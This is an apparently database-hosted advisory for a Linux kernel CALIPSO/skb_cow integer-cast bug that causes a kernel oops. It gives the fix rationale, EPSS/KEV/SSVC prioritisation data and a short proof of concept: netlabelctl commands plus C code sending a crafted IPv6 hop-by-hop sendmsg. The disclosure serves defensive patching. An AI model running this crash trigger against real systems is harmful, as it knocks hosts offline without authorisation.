In the Linux kernel, the following vulnerability has been resolved:
ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()
There exists a kernel oops caused by a BUG_ON(nhead < 0) at
net/core/skbuff.c:2232 in pskb_expand_head().
This bug is triggered as part of the calipso_skbuff_setattr()
routine when skb_cow() is passed headroom > INT_MAX
(i.e. (int)(skb_headroom(skb) + len_delta) < 0).
The root cause of the bug is due to an implicit integer cast in
__skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure
that delta = headroom - skb_headroom(skb) is never negative, otherwise
we will trigger a BUG_ON in pskb_expand_head(). However, if
headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta
becomes negative, and pskb_expand_head() is passed a negative value for
nhead.
Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing
"negative" headroom sizes to skb_cow() within calipso_skbuff_setattr()
by only using skb_cow() to grow headroom.
PoC:
Using netlabelctl tool:
netlabelctl map del default
netlabelctl calipso add pass doi:7
netlabelctl map add default address:0::1/128 protocol:calipso,7
Then run the following PoC:
int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
// setup msghdr
int cmsg_size = 2;
int cmsg_len = 0x60;
struct msghdr msg;
struct sockaddr_in6 dest_addr;
struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
sizeof(struct cmsghdr) + cmsg_len);
msg.msg_name = &dest_addr;
msg.msg_namelen = sizeof(dest_addr);
msg.msg_iov = NULL;
msg.msg_iovlen = 0;
msg.msg_control = cmsg;
msg.msg_controllen = cmsg_len;
msg.msg_flags = 0;
// setup sockaddr
dest_addr.sin6_family = AF_INET6;
dest_addr.sin6_port = htons(31337);
dest_addr.sin6_flowinfo = htonl(31337);
dest_addr.sin6_addr = in6addr_loopback;
dest_addr.sin6_scope_id = 31337;
// setup cmsghdr
cmsg->cmsg_len = cmsg_len;
cmsg->cmsg_level = IPPROTO_IPV6;
cmsg->cmsg_type = IPV6_HOPOPTS;
char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80
sendmsg(fd, &msg, 0);
What the EG score is made of (scorer v4.0: the three questions the 0–10 score mixes, published apart · methodology)
The EG score (5.5): severity, escalated by confirmed exploitation. This CVE's 5.5 is its impact severity (EG Severity), not escalated.
- EG Severity
- 5.5 MEDIUMCVSS-B, impact only: no KEV listing, EPSS or EG-KEV tier raises it.GitHub Security Advisory CVSS
- EG Likelihood
- 0.3% within 30 daysSource: FIRST EPSS (model v2026.06.15, score date 2026-10-19). FIRST's exploitation probability, not an EchelonGraph model.
- Confirmed exploitation
- None on record (CISA KEV, EG-KEV Tier 1)Reported apart from the likelihood: an observed fact, not a probability.
- EG Priority
- SSVC Track at medium mission impactTrack at every mission impact level.CISA BOD 26-04: 60 days if the affected system is publicly exposed; Fix on system upgrade if it is not.Each input and its source: the SSVC and BOD 26-04 blocks below.
SSVC (CISA's decision table, applied by EchelonGraph)Track at every mission impact level.
A fix is available. Apply it within your standard update timelines.
Exploitation none (CISA Vulnrichment) · Automatable no (CISA Vulnrichment) · Technical impact partial (CISA Vulnrichment). All three are CISA's SSVC values (Vulnrichment). EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE. Mission impact is CISA's Mission & Well-being decision point, and only you can judge it. CISA's table makes it high when Mission Prevalence is Essential — the vulnerable component "directly provides capabilities that constitute at least one MEF for at least one entity" (MEF: mission essential function) — or when Public Well-Being Impact is Irreversible: "multiple fatalities are likely", the cyber-physical system "is likely lost or destroyed", "extreme or serious externalities" are imposed on other parties, or social systems such as elections or the financial grid "are destabilized and potentially collapse". CISA's decision table
BOD 26-04 (CISA's remediation timeline, Table 1)60 days if the affected system is publicly exposed; Fix on system upgrade if it is not.
In CISA KEV no (CISA's KEV catalog) · Automatable no (CISA Vulnrichment) · Technical impact partial (CISA Vulnrichment). Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it